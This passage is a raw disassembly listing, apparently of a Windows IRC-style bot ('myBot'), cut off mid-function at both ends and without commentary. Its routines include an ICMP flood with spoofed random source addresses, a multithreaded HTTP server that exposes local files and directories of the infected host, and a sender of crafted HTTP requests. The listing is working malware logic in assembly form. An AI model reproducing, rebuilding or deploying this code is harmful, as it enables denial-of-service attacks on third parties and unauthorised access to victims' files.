loc_404FA2 mov [ebp+var_4], edx loc_404FA2: ; CODE XREF: sub_404F3D+60j push 2 push esi neg edx push edx push ebx call dword_422090 ; SetFilePointer push esi lea eax, [ebp+var_C] push eax push [ebp+var_4] lea eax, [ebp+var_40C] push eax push ebx call dword_42208C ; ReadFile push esi push [ebp+var_4] lea eax, [ebp+var_40C] push eax push [ebp+arg_0] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz short loc_404FED call dword_43A47C ; WSAGetLastError cmp eax, 2733h jnz short loc_404FF2 xor eax, eax loc_404FED: ; CODE XREF: sub_404F3D+9Fj sub [ebp+var_8], eax jnz short loc_404F88 loc_404FF2: ; CODE XREF: sub_404F3D+ACj pop edi loc_404FF3: ; CODE XREF: sub_404F3D+46j push ebx call dword_42202C ; CloseHandle loc_404FFA: ; CODE XREF: sub_404F3D+31j pop esi pop ebx leave retn sub_404F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FFE proc near ; CODE XREF: sub_4052D1+182p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx mov ecx, eax push esi xor esi, esi lea edx, [ecx+1] loc_40500D: ; CODE XREF: sub_404FFE+14j mov bl, [ecx] inc ecx test bl, bl jnz short loc_40500D sub ecx, edx mov [ebp+arg_0], ecx jz short loc_405038 loc_40501B: ; CODE XREF: sub_404FFE+38j cmp byte ptr [esi+eax], 5Ch jnz short loc_405025 mov byte ptr [esi+eax], 2Fh loc_405025: ; CODE XREF: sub_404FFE+21j mov ecx, eax inc esi lea edx, [ecx+1] loc_40502B: ; CODE XREF: sub_404FFE+32j mov bl, [ecx] inc ecx test bl, bl jnz short loc_40502B sub ecx, edx cmp esi, ecx jb short loc_40501B loc_405038: ; CODE XREF: sub_404FFE+1Bj pop esi pop ebx pop ebp retn sub_404FFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40503C proc near ; CODE XREF: sub_409848+581Ep var_4A4 = byte ptr -4A4h var_314 = byte ptr -314h var_114 = byte ptr -114h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A4h push edi lea eax, [ebp+var_4A4] push eax push 101h call dword_43A3CC ; WSAStartup push 6 push 1 push 2 call dword_43A3BC ; socket push [ebp+arg_14] mov [ebp+var_4], eax xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd mov [ebp+var_14], 2 call dword_43A514 ; ntohs push [ebp+arg_10] mov [ebp+var_12], ax call sub_40877E pop ecx mov [ebp+var_10], eax push 10h lea eax, [ebp+var_14] push eax push [ebp+var_4] call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz short loc_40511C mov eax, [ebp+arg_20] test eax, eax jnz short loc_4050AF mov eax, (offset asc_422B00+2) loc_4050AF: ; CODE XREF: sub_40503C+6Cj push ebx push esi push [ebp+arg_10] mov ebx, 100h push eax push [ebp+arg_1C] lea eax, [ebp+var_114] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push ebx push eax call sub_416BCD lea eax, [ebp+var_114] add esp, 1Ch lea esi, [eax+1] loc_4050DE: ; CODE XREF: sub_40503C+A7j mov cl, [eax] inc eax test cl, cl jnz short loc_4050DE push 0 sub eax, esi push eax lea eax, [ebp+var_114] push eax push [ebp+var_4] call dword_43A458 ; send push 40h pop ecx push 0 push ebx lea eax, [ebp+var_114] push eax push [ebp+var_4] xor esi, esi lea edi, [ebp+var_114] rep movsd call dword_43A324 ; recv pop esi pop ebx loc_40511C: ; CODE XREF: sub_40503C+65j push [ebp+var_4] call dword_43A4D0 ; closesocket call dword_43A4DC ; WSACleanup lea eax, [ebp+var_114] push eax lea eax, [ebp+var_314] push eax call sub_416975 cmp [ebp+arg_C], 0 pop ecx pop ecx pop edi jnz short locret_405161 push 0 push [ebp+arg_8] lea eax, [ebp+var_314] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h locret_405161: ; CODE XREF: sub_40503C+109j leave retn sub_40503C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_405163 proc near ; DATA XREF: sub_4052D1+24Eo var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov eax, 1654h lea ebp, [esp-74h] call sub_416B90 mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0ECh lea edi, [ebp+74h+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+74h+var_3C8] push eax lea eax, [ebp+74h+var_550] push eax call sub_416975 lea eax, [ebp+74h+var_2C4] push eax lea eax, [ebp+74h+var_654] push eax call sub_416975 xor ebx, ebx add esp, 10h cmp [ebp+74h+var_A4], ebx lea eax, [ebp+74h+var_9C] jz short loc_4051CB push offset aTextHtml ; "text/html" jmp short loc_4051D0 ; --------------------------------------------------------------------------- loc_4051CB: ; CODE XREF: sub_405163+5Fj push offset aApplicationOct ; "application/octet-stream" loc_4051D0: ; CODE XREF: sub_405163+66j push eax call sub_416975 pop ecx pop ecx push 46h lea eax, [ebp+74h+var_68] push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push ebx push ebx mov esi, 409h push esi call dword_42209C ; GetDateFormatA push 1Eh lea eax, [ebp+74h+var_20] push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_422098 ; GetTimeFormatA cmp [ebp+74h+var_B8], 0FFFFFFFFh lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_20] push eax lea eax, [ebp+74h+var_68] push eax lea eax, [ebp+74h+var_9C] jnz short loc_40523D push eax lea eax, [ebp+74h+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_416975 add esp, 24h jmp short loc_405255 ; --------------------------------------------------------------------------- loc_40523D: ; CODE XREF: sub_405163+C1j push [ebp+74h+var_B8] push eax lea eax, [ebp+74h+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_416975 add esp, 28h loc_405255: ; CODE XREF: sub_405163+D8j lea eax, [ebp+74h+var_1654] lea edx, [eax+1] loc_40525E: ; CODE XREF: sub_405163+100j mov cl, [eax] inc eax cmp cl, bl jnz short loc_40525E push ebx sub eax, edx push eax lea eax, [ebp+74h+var_1654] push eax push [ebp+74h+var_44C] call dword_43A458 ; send cmp [ebp+74h+var_A4], ebx jnz short loc_405297 lea eax, [ebp+74h+var_550] push eax push [ebp+74h+var_44C] call sub_404F3D pop ecx pop ecx jmp short loc_4052B4 ; --------------------------------------------------------------------------- loc_405297: ; CODE XREF: sub_405163+11Cj lea eax, [ebp+74h+var_654] push eax push ebx push [ebp+74h+var_44C] lea eax, [ebp+74h+var_550] push eax call sub_404849 add esp, 10h loc_4052B4: ; CODE XREF: sub_405163+132j push [ebp+74h+var_44C] call dword_43A4D0 ; closesocket push [ebp+74h+var_B4] call sub_4139F6 pop ecx push ebx call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_405163 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052D1 proc near ; CODE XREF: sub_40558B+37Cp var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi push 41h xor eax, eax pop ecx lea edi, [ebp+var_210] rep stosd mov eax, [ebp+arg_8] xor esi, esi cmp byte ptr [eax], 2Fh mov [ebp+var_4], esi push eax jz short loc_4052FF push offset aS_7 ; "\\%s" jmp short loc_405307 ; --------------------------------------------------------------------------- loc_4052FF: ; CODE XREF: sub_4052D1+25j mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_405307: ; CODE XREF: sub_4052D1+2Cj lea eax, [ebp+var_10C] push eax call sub_416975 lea eax, [ebp+var_10C] add esp, 0Ch xor edi, edi lea ecx, [eax+1] loc_405321: ; CODE XREF: sub_4052D1+55j mov dl, [eax] inc eax test dl, dl jnz short loc_405321 sub eax, ecx mov [ebp+arg_8], eax jz short loc_4053A7 push 2 pop ebx loc_405332: ; CODE XREF: sub_4052D1+D4j lea eax, [ebp+var_10C] lea edx, [eax+1] loc_40533B: ; CODE XREF: sub_4052D1+6Fj mov cl, [eax] inc eax test cl, cl jnz short loc_40533B sub eax, edx cmp ebx, eax jnb short loc_405374 cmp [ebp+esi+var_10C], 25h jnz short loc_405374 cmp [ebp+esi+var_10B], 32h jnz short loc_405374 cmp [ebp+esi+var_10A], 30h jnz short loc_405374 inc esi inc esi inc ebx mov [ebp+edi+var_210], 20h inc ebx jmp short loc_40538E ; --------------------------------------------------------------------------- loc_405374: ; CODE XREF: sub_4052D1+75j ; sub_4052D1+7Fj ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_405384 push 5Ch pop eax jmp short loc_405387 ; --------------------------------------------------------------------------- loc_405384: ; CODE XREF: sub_4052D1+ACj movsx eax, al loc_405387: ; CODE XREF: sub_4052D1+B1j mov [ebp+edi+var_210], al loc_40538E: ; CODE XREF: sub_4052D1+A1j inc esi lea eax, [ebp+var_10C] inc ebx inc edi lea ecx, [eax+1] loc_40539A: ; CODE XREF: sub_4052D1+CEj mov dl, [eax] inc eax test dl, dl jnz short loc_40539A sub eax, ecx cmp esi, eax jb short loc_405332 loc_4053A7: ; CODE XREF: sub_4052D1+5Cj lea eax, [ebp+var_210] push eax push [ebp+arg_4] lea eax, [ebp+var_314] push offset aSS ; "%s%s" push eax call sub_416975 lea eax, [ebp+var_314] push offset asc_4236F0 ; "\n" push eax call sub_4177E9 add esp, 18h lea eax, [ebp+var_314] push eax call dword_4220A0 ; GetFileAttributesA xor ebx, ebx inc ebx cmp eax, 10h jz short loc_4053F8 cmp eax, 0FFFFFFFFh jnz short loc_4053FB push [ebp+arg_0] jmp loc_405480 ; --------------------------------------------------------------------------- loc_4053F8: ; CODE XREF: sub_4052D1+118j mov [ebp+var_4], ebx loc_4053FB: ; CODE XREF: sub_4052D1+11Dj cmp [ebp+edi+var_211], 5Ch jnz short loc_405408 mov [ebp+var_4], ebx loc_405408: ; CODE XREF: sub_4052D1+132j mov eax, [ebp+arg_0] xor edi, edi cmp [ebp+var_4], edi mov [ebp+var_6C4], eax mov [ebp+var_318], edi jz short loc_40548B cmp [ebp+arg_C], edi jz short loc_40547F lea edi, [ebp+var_314] dec edi loc_40542A: ; CODE XREF: sub_4052D1+15Fj mov al, [edi+1] inc edi test al, al jnz short loc_40542A lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] mov esi, offset asc_4239AC ; "*" push eax movsw call sub_416975 lea eax, [ebp+var_210] push eax call sub_404FFE lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_416975 or [ebp+var_330], 0FFFFFFFFh add esp, 14h mov [ebp+var_31C], ebx xor edi, edi jmp short loc_4054DA ; --------------------------------------------------------------------------- loc_40547F: ; CODE XREF: sub_4052D1+150j push eax loc_405480: ; CODE XREF: sub_4052D1+122j call dword_43A4D0 ; closesocket jmp loc_405572 ; --------------------------------------------------------------------------- loc_40548B: ; CODE XREF: sub_4052D1+14Bj push edi push edi push 3 push edi push ebx push 80000000h lea eax, [ebp+var_314] push eax call dword_422034 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4054DA lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_416975 pop ecx pop ecx push edi push esi mov [ebp+var_31C], edi call dword_422094 ; GetFileSize push esi mov [ebp+var_330], eax call dword_42202C ; CloseHandle loc_4054DA: ; CODE XREF: sub_4052D1+1ACj ; sub_4052D1+1D7j mov esi, [ebp+arg_10] push esi lea eax, [ebp+var_8C4] push offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"... push eax call sub_416975 push edi lea eax, [ebp+var_8C4] push 4 push eax call sub_413732 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43B264[eax], esi lea eax, [ebp+var_8] push eax push edi lea eax, [ebp+var_6C4] push eax push offset sub_405163 push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_405581 push [ebp+arg_0] call dword_43A4D0 ; closesocket call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"... push eax call sub_416975 lea eax, [ebp+var_8C4] push eax call sub_401F0F add esp, 10h loc_405572: ; CODE XREF: sub_4052D1+1B5j ; sub_4052D1+2B8j pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_405579: ; CODE XREF: sub_4052D1+2B6j push 5 call dword_422000 ; Sleep loc_405581: ; CODE XREF: sub_4052D1+26Fj cmp [ebp+var_318], edi jz short loc_405579 jmp short loc_405572 sub_4052D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40558B proc near ; DATA XREF: sub_401141+35Ao ; sub_409848+4A09o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_464 = byte ptr -464h var_360 = dword ptr -360h var_358 = dword ptr -358h var_354 = dword ptr -354h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_340 = byte ptr -340h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_416B90 mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0ECh lea edi, [ebp+var_6F0] rep movsd push [ebp+var_360] xor esi, esi inc esi mov [eax+3ACh], esi xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd mov [ebp+var_14], esi mov [ebp+var_24], 2 call dword_43A514 ; ntohs and [ebp+var_20], 0 push 0 push esi push 2 mov [ebp+var_22], ax call dword_43A3BC ; socket mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi mov [ebp+var_8], ebx jz loc_40595E mov eax, [ebp+var_358] imul eax, 234h mov dword_43B26C[eax], ebx push 10h lea eax, [ebp+var_24] push eax push ebx call dword_43A49C ; bind cmp eax, edi jz loc_40595E push 7FFFFFFFh push ebx call dword_43A4E8 ; listen cmp eax, edi jz loc_40595E lea eax, [ebp+var_14] push eax push 8004667Eh push ebx call dword_43A354 ; ioctlsocket cmp eax, edi jz loc_40595E push 41h xor eax, eax pop ecx push eax push eax push eax lea eax, [ebp+var_23C] push eax mov [ebp+var_124], ebx mov [ebp+var_128], esi mov [ebp+var_4], ebx lea eax, [ebx+1] jmp loc_405940 ; --------------------------------------------------------------------------- loc_405670: ; CODE XREF: sub_40558B+3CDj xor esi, esi mov [ebp+arg_0], esi loc_405675: ; CODE XREF: sub_40558B+39Cj lea eax, [ebp+var_23C] push eax push esi call dword_43A414 ; __WSAFDIsSet test eax, eax jz loc_40591D cmp esi, ebx jnz short loc_4056F2 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_138] push eax push ebx mov [ebp+var_10], 10h call dword_43A37C ; accept cmp eax, 0FFFFFFFFh jz loc_40591D mov edx, [ebp+var_128] xor ecx, ecx test edx, edx jbe short loc_4056CB loc_4056BD: ; CODE XREF: sub_40558B+13Ej cmp [ebp+ecx*4+var_124], eax jz short loc_4056CB inc ecx cmp ecx, edx jb short loc_4056BD loc_4056CB: ; CODE XREF: sub_40558B+130j ; sub_40558B+139j cmp ecx, edx jnz short loc_4056E1 cmp edx, 40h jnb short loc_4056E1 mov [ebp+ecx*4+var_124], eax inc [ebp+var_128] loc_4056E1: ; CODE XREF: sub_40558B+142j ; sub_40558B+147j cmp eax, [ebp+var_4] jbe loc_40591D mov [ebp+var_4], eax jmp loc_40591D ; --------------------------------------------------------------------------- loc_4056F2: ; CODE XREF: sub_40558B+102j mov edx, 400h xor eax, eax mov ecx, edx lea edi, [ebp+var_28F0] rep stosd push eax mov ecx, edx lea edi, [ebp+var_18F0] rep stosd push 1000h lea eax, [ebp+var_28F0] push eax push esi call dword_43A324 ; recv test eax, eax jg short loc_405776 push esi call dword_43A4D0 ; closesocket xor eax, eax cmp [ebp+var_128], eax jbe loc_40591D loc_40573A: ; CODE XREF: sub_40558B+1BFj cmp [ebp+eax*4+var_124], esi jz short loc_405760 inc eax cmp eax, [ebp+var_128] jb short loc_40573A jmp loc_40591D ; --------------------------------------------------------------------------- loc_405751: ; CODE XREF: sub_40558B+1DEj mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx inc eax loc_405760: ; CODE XREF: sub_40558B+1B6j mov ecx, [ebp+var_128] dec ecx cmp eax, ecx jb short loc_405751 dec [ebp+var_128] jmp loc_40591D ; --------------------------------------------------------------------------- loc_405776: ; CODE XREF: sub_40558B+198j push 41h xor eax, eax pop ecx lea edi, [ebp+var_340] rep stosd lea eax, [ebp+var_28F0] xor ebx, ebx xor esi, esi lea ecx, [eax+1] loc_405790: ; CODE XREF: sub_40558B+20Aj mov dl, [eax] inc eax test dl, dl jnz short loc_405790 sub eax, ecx mov [ebp+var_C], eax jz loc_40591A loc_4057A2: ; CODE XREF: sub_40558B+2D0j mov al, [ebp+ebx+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405845 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417440 test eax, eax pop ecx pop ecx jz short loc_40581F lea eax, [ebp+var_18F0] lea edx, [eax+1] loc_4057D9: ; CODE XREF: sub_40558B+253j mov cl, [eax] inc eax test cl, cl jnz short loc_4057D9 sub eax, edx cmp eax, 5 jbe short loc_40581F mov eax, offset asc_422B00 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417440 pop ecx pop ecx push eax call sub_417440 pop ecx pop ecx push eax call sub_4177E9 pop ecx pop ecx lea edx, [ebp+var_340] loc_405813: ; CODE XREF: sub_40558B+290j mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_405813 jmp short loc_405833 ; --------------------------------------------------------------------------- loc_40581F: ; CODE XREF: sub_40558B+243j ; sub_40558B+25Aj push 3 mov edi, offset asc_4239E8 ; "\r\n" lea esi, [ebp+var_18F0] pop ecx xor eax, eax repe cmpsb jz short loc_405866 loc_405833: ; CODE XREF: sub_40558B+292j xor eax, eax mov ecx, 400h lea edi, [ebp+var_18F0] rep stosd or esi, 0FFFFFFFFh loc_405845: ; CODE XREF: sub_40558B+227j lea eax, [ebp+var_28F0] inc ebx inc esi lea ecx, [eax+1] loc_405850: ; CODE XREF: sub_40558B+2CAj mov dl, [eax] inc eax test dl, dl jnz short loc_405850 sub eax, ecx cmp ebx, eax jb loc_4057A2 jmp loc_40591A ; --------------------------------------------------------------------------- loc_405866: ; CODE XREF: sub_40558B+2A6j mov ecx, [ebp+var_128] xor eax, eax test ecx, ecx jbe short loc_4058A5 loc_405872: ; CODE XREF: sub_40558B+2F6j mov edx, [ebp+eax*4+var_124] cmp edx, [ebp+arg_0] jz short loc_40589A inc eax cmp eax, ecx jb short loc_405872 jmp short loc_4058A5 ; --------------------------------------------------------------------------- loc_405885: ; CODE XREF: sub_40558B+312j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ecx, [ebp+var_128] inc eax loc_40589A: ; CODE XREF: sub_40558B+2F1j dec ecx cmp eax, ecx jb short loc_405885 dec [ebp+var_128] loc_4058A5: ; CODE XREF: sub_40558B+2E5j ; sub_40558B+2F8j lea eax, [ebp+var_340] lea edx, [eax+1] loc_4058AE: ; CODE XREF: sub_40558B+328j mov cl, [eax] inc eax test cl, cl jnz short loc_4058AE sub eax, edx mov esi, eax lea eax, [ebp+var_464] lea ecx, [eax+1] loc_4058C2: ; CODE XREF: sub_40558B+33Cj mov dl, [eax] inc eax test dl, dl jnz short loc_4058C2 sub eax, ecx add eax, esi cmp eax, 104h jnb short loc_405911 and [ebp+var_C], 0 lea eax, [ebp+var_C] push eax push 8004667Eh push [ebp+arg_0] call dword_43A354 ; ioctlsocket push [ebp+var_358] lea eax, [ebp+var_340] push [ebp+var_34C] push eax lea eax, [ebp+var_464] push eax push [ebp+arg_0] call sub_4052D1 add esp, 14h jmp short loc_40591A ; --------------------------------------------------------------------------- loc_405911: ; CODE XREF: sub_40558B+347j push [ebp+arg_0] call dword_43A4D0 ; closesocket loc_40591A: ; CODE XREF: sub_40558B+211j ; sub_40558B+2D6j ... mov ebx, [ebp+var_8] loc_40591D: ; CODE XREF: sub_40558B+FAj ; sub_40558B+120j ... mov esi, [ebp+arg_0] inc esi cmp esi, [ebp+var_4] mov [ebp+arg_0], esi jbe loc_405675 push 41h xor eax, eax pop ecx push eax push eax push eax lea eax, [ebp+var_23C] push eax mov eax, [ebp+var_4] inc eax loc_405940: ; CODE XREF: sub_40558B+E0j lea esi, [ebp+var_128] lea edi, [ebp+var_23C] push eax rep movsd call dword_43A468 ; select cmp eax, 0FFFFFFFFh jnz loc_405670 loc_40595E: ; CODE XREF: sub_40558B+66j ; sub_40558B+8Dj ... call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"... push eax call sub_416975 xor esi, esi add esp, 0Ch cmp [ebp+var_350], esi jnz short loc_4059A6 push esi push [ebp+var_354] lea eax, [ebp+var_8F0] push eax lea eax, [ebp+var_6EC] push eax push [ebp+var_6F0] call sub_405D62 add esp, 14h loc_4059A6: ; CODE XREF: sub_40558B+3F6j lea eax, [ebp+var_8F0] push eax call sub_401F0F pop ecx push ebx call dword_43A4D0 ; closesocket push [ebp+var_358] call sub_4139F6 pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_40558B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4059CE proc near ; DATA XREF: sub_409848+3008o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h pop ecx mov esi, eax lea edi, [ebp+var_1BC] rep movsd push 0FFh xor esi, esi push 3 inc esi push 2 mov [eax+19Ch], esi call dword_43A3BC ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_405A35 call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"... push eax call sub_416975 add esp, 0Ch xor esi, esi loc_405A27: ; CODE XREF: sub_4059CE+9Cj ; sub_4059CE+C3j cmp [ebp+var_24], esi jnz loc_405C89 jmp loc_405C69 ; --------------------------------------------------------------------------- loc_405A35: ; CODE XREF: sub_4059CE+3Aj push 4 lea ecx, [ebp+var_C] push ecx mov [ebp+var_C], esi push 2 xor esi, esi push esi push eax call dword_43A3D8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_405A6C call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"... push eax call sub_416975 add esp, 0Ch jmp short loc_405A27 ; --------------------------------------------------------------------------- loc_405A6C: ; CODE XREF: sub_4059CE+7Fj lea eax, [ebp+var_1B8] push eax call dword_43A434 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_405A93 lea eax, [ebp+var_3BC] push offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP." push eax call sub_416975 pop ecx pop ecx jmp short loc_405A27 ; --------------------------------------------------------------------------- loc_405A93: ; CODE XREF: sub_4059CE+AEj xor eax, eax lea edi, [ebp+var_1C] stosd stosd stosd stosd push esi mov [ebp+var_1C], 2 call dword_43A514 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43A434 ; inet_addr mov ebx, dword_422004 mov [ebp+var_18], eax mov [ebp+arg_0], esi call ebx ; GetTickCount mov [ebp+var_8], eax call ebx ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_405C21 mov esi, 100h loc_405AE7: ; CODE XREF: sub_4059CE+24Bj push 41Ch mov byte_439F08, 45h call dword_43A514 ; ntohs mov word_439F0A, ax xor eax, eax cmp [ebp+var_2C], eax mov word_439F0C, 1 mov word_439F0E, ax mov byte_439F10, 80h mov byte_439F11, 1 mov word_439F12, ax jz short loc_405B56 call sub_416B31 mov edi, eax shl edi, 8 call sub_416B31 add edi, eax shl edi, 8 call sub_416B31 add edi, eax shl edi, 8 call sub_416B31 add edi, eax mov dword_439F14, edi jmp short loc_405B6E ; --------------------------------------------------------------------------- loc_405B56: ; CODE XREF: sub_4059CE+159j push [ebp+var_1BC] call sub_408894 pop ecx push eax call dword_43A434 ; inet_addr mov dword_439F14, eax loc_405B6E: ; CODE XREF: sub_4059CE+186j mov eax, [ebp+var_18] mov dword_439F18, eax call sub_416B31 cdq mov ecx, esi idiv ecx mov byte_439F1C, dl call sub_416B31 cdq mov ecx, esi idiv ecx mov byte_439F1D, dl call sub_416B31 cdq mov ecx, 0F0h idiv ecx and word_439F1E, 0 mov word_439F22, 1 inc edx mov word_439F20, dx call sub_416B31 cdq mov ecx, 0FFh idiv ecx push 10h mov edi, offset dword_439F24 mov al, dl mov cl, al mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, esi rep stosd lea eax, [ebp+var_1C] push eax xor edi, edi push edi push 41Ch push offset byte_439F08 push [ebp+var_4] call dword_43A38C ; sendto cmp eax, 0FFFFFFFFh jz loc_405CA6 inc [ebp+arg_0] call ebx ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] jbe loc_405AE7 xor esi, esi loc_405C21: ; CODE XREF: sub_4059CE+10Ej push [ebp+var_4] call dword_43A4D0 ; closesocket mov eax, [ebp+arg_0] imul eax, 3Ch mov ecx, eax shr eax, 0Ah xor edx, edx div [ebp+var_30] shr ecx, 14h push ecx push eax push [ebp+arg_0] lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to IP: %s. S"... push eax call sub_416975 add esp, 1Ch cmp [ebp+var_24], esi jnz short loc_405C89 loc_405C69: ; CODE XREF: sub_4059CE+62j push esi push [ebp+var_28] lea eax, [ebp+var_3BC] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_405D62 add esp, 14h loc_405C89: ; CODE XREF: sub_4059CE+5Cj ; sub_4059CE+299j lea eax, [ebp+var_3BC] push eax call sub_401F0F push [ebp+var_38] call sub_4139F6 pop ecx pop ecx push esi loc_405CA0: ; CODE XREF: sub_4059CE+347j call dword_422014 ; ExitThread loc_405CA6: ; CODE XREF: sub_4059CE+231j push [ebp+var_4] call dword_43A4D0 ; closesocket call dword_43A47C ; WSAGetLastError push eax push [ebp+arg_0] lea eax, [ebp+var_1B8] push eax push offset aIcmpErrorSendi ; "[ICMP]: Error sending packets to IP: %s"... lea eax, [ebp+var_3BC] push 200h push eax call sub_416BCD add esp, 18h cmp [ebp+var_24], edi jnz short loc_405CFE push edi push [ebp+var_28] lea eax, [ebp+var_3BC] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_405D62 add esp, 14h loc_405CFE: ; CODE XREF: sub_4059CE+30Ej lea eax, [ebp+var_3BC] push eax call sub_401F0F push [ebp+var_38] call sub_4139F6 pop ecx pop ecx push edi jmp short loc_405CA0 sub_4059CE endp ; =============== S U B R O U T I N E ======================================= ; 